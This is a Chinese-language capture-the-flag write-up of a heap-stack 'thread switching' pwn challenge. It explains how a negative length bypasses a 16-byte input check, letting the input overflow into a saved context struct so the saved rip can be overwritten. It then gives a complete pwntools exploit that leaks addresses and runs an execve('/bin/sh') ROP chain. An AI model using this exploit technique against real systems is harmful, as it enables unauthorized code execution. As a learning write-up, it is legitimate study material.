我的思路

这道题其实就是变了个花样的栈溢出，我先是分配了两个小的内存块用来存放线程切换时所需要使用的的（两个线程对分别应的）上下文，（就是比如func1对于的栈A，func2对于的栈B，即rsp，rbp来控制，以及存放函数返回地址的寄存器rip，以及其他的寄存器），（切换就是指从func1执行一段后跳到func2去了，这时就需要从func1的上下文切换到func2）；

这里的切换我写的一小段汇编来实现的，其实就是（save和restore）简单的将当前线程的上下文（相应寄存器内容）存放到参数指向的上下文结构体中，其中存放的函数返回地址就是call save时压栈的save函数返回地址（save），最后正常ret；而restore则是将其参数指向的上下文结构体给到当前线程的一些寄存器，返回地址也是在此操作中被压入到了stack的rsp处，即栈顶，最后执行ret，会直接跳转到这个地址去；（所以我们程序执行的第一个restore会直接跳转到func1）

然后我又在堆上分配出两块大内存分别给这两个线程（在这里就是两个函数）做函数调用栈（把函数调用栈搬到了堆上），比如函数里定义的变量就存在那了；

这个时候要想将这个程序的流程控制于自己手中，不妨能够想到在线程切换时（即func1中途跑路到func2），去修改掉那个上下文结构体中存放返回地址的rip，然后再restore的时候就自然控制程序流程啦

那么这个时候看看是否有机会去溢出该结构体， 显然通过观察就看出stack2和上下文结构体1是相邻的，哦，这之间也不存在检查，所以看看有无机会，之间从stack2“栈溢出”到这个结构体上去

仔细观察我们的func2，确实是有往stack2写数据的函数（read），长度还能自己控制，咋一看有个限制输入不得超过16，但是显然这里有一个整数溢出漏洞，因为后面的raed的length是int型，而定义的length和scanf的都是longlongint，且并没有检查负数问题，所以可直接输入负数，来绕过长度限制，从而达到溢出超长到目标地方去的目的

这个时候我就能思路清晰，首先程序保护全开，看似吓人，实则也是纸老虎，因为没多大用！你看看canary，这个在搬到堆上的栈，因为也是存在函数调用嘛，canary自然也会有！但是，问题在于我不是你函数的正常返回，所以无效，因为我是直接通过简单的汇编指令去切换线程的，所以似乎不会检查canary，所以直接正常覆盖即可！

那么此时，要想如何执行system之类的函数获取shell，首先程序没有此类函数，所以需要先泄露地址，泄露什么呢，通过观察程序，你可以发现本程序，友好的提供了好用的gadget，比如syscall，pop rax等等，那么你要用到这些gadget，就需要泄露程序基地址，用基地址加上gadget的后三位偏移就有了地址了；

此时又出现了新的问题，问题比较小，那就是我溢出位置似乎不够了，于是我浅浅的将“栈”迁移了到附近的一下下，具体看exp调试一下你就知道！

请务必自行调试观察

这只是我的思路，一种解题方式，相信你有更简单的解题方式！

exp.py

```
from urllib.parse import ParseResultBytes#我也不知道什么时候有的这句话
from pwn import *

context.log_level = 'debug'
#p = remote('121.4.118.92',9336)
p = process('./a.out')
gdb.attach(p,"b restore")

p.recvuntil("Are you ready?\n")
```

```python
p.sendline("yes")

# 1 func1
p.recvuntil("len:\n")
p.sendline(str(16))
p.recvuntil("input:\n")
p.send('a'*0x10)
p.recvuntil('a'*0x10)

leak = u64(p.recv(6).ljust(8,b'\x00')) #stack
log.info("leak = "+hex(leak))
fake_stack = leak + 0x60
fake_rip = leak + 0x60

rsp = leak + 0x1000 - 0x1050
rbp = leak + 0x1000 - 0x1030
target_rip = leak + 0x1000 + 8

# 1 func2
p.recvuntil("len:\n")
p.sendline(str(-0x7FFFFFFFFFFFE000))
p.recvuntil("input:\n")
payload = ""
payload += (0xc0-0x40)*'b'
payload += 'c'*8
payload += 'c'*8
p.send(payload)

p.recvuntil('c'*16)
text = u64(p.recv(6).ljust(8,b'\x00'))
textbase = text - 0x236 - 0x10

log.info('leak text = '+hex(text))
log.info('text base = '+hex(textbase))

pop_rax_ret = textbase + 0x21c
pop_rdi_ret = textbase + 0x218
pop_rsi_ret = textbase + 0x21a
pop_rdx_ret = textbase + 0x216
syscall = textbase + 0x214
ret = textbase + 0x01a

fake_rsp = leak + 0x1000 # -->pop_rdx_ret
fake_rbp = leak + 0x1000
sh =leak + 0x50 + 0x1000

# 2 func2
#0x5574946b82c0:    0x00005574946b71f0  0x00005574946b7210
p.recvuntil("input:\n")
payload = b""
payload += b'd'*8   # in restore : mov    qword ptr [rsp], rdx  --> ret
payload += p64(pop_rdi_ret) + p64(sh)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(59)
payload += p64(syscall)
payload += b"/bin/sh\x00"
payload = payload.ljust(0x80,b'a')
```

```
payload += p64(rsp)
payload += p64(rbp)
payload += p64(ret) # --> pop_rdi_ret
p.send(payload)

# 3 func2
p.recvuntil("input:\n")
payload = b""
payload += b'd'*8   #  in restore : mov    qword ptr [rsp], rdx  --> ret
payload += p64(pop_rdi_ret) + p64(sh)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(59)
payload += p64(syscall)
payload += b"/bin/sh\x00"
payload = payload.ljust(0x80,b'a')
payload += p64(fake_rsp)
payload += p64(fake_rbp)
payload += p64(ret)
p.send(payload)


p.interactive()
```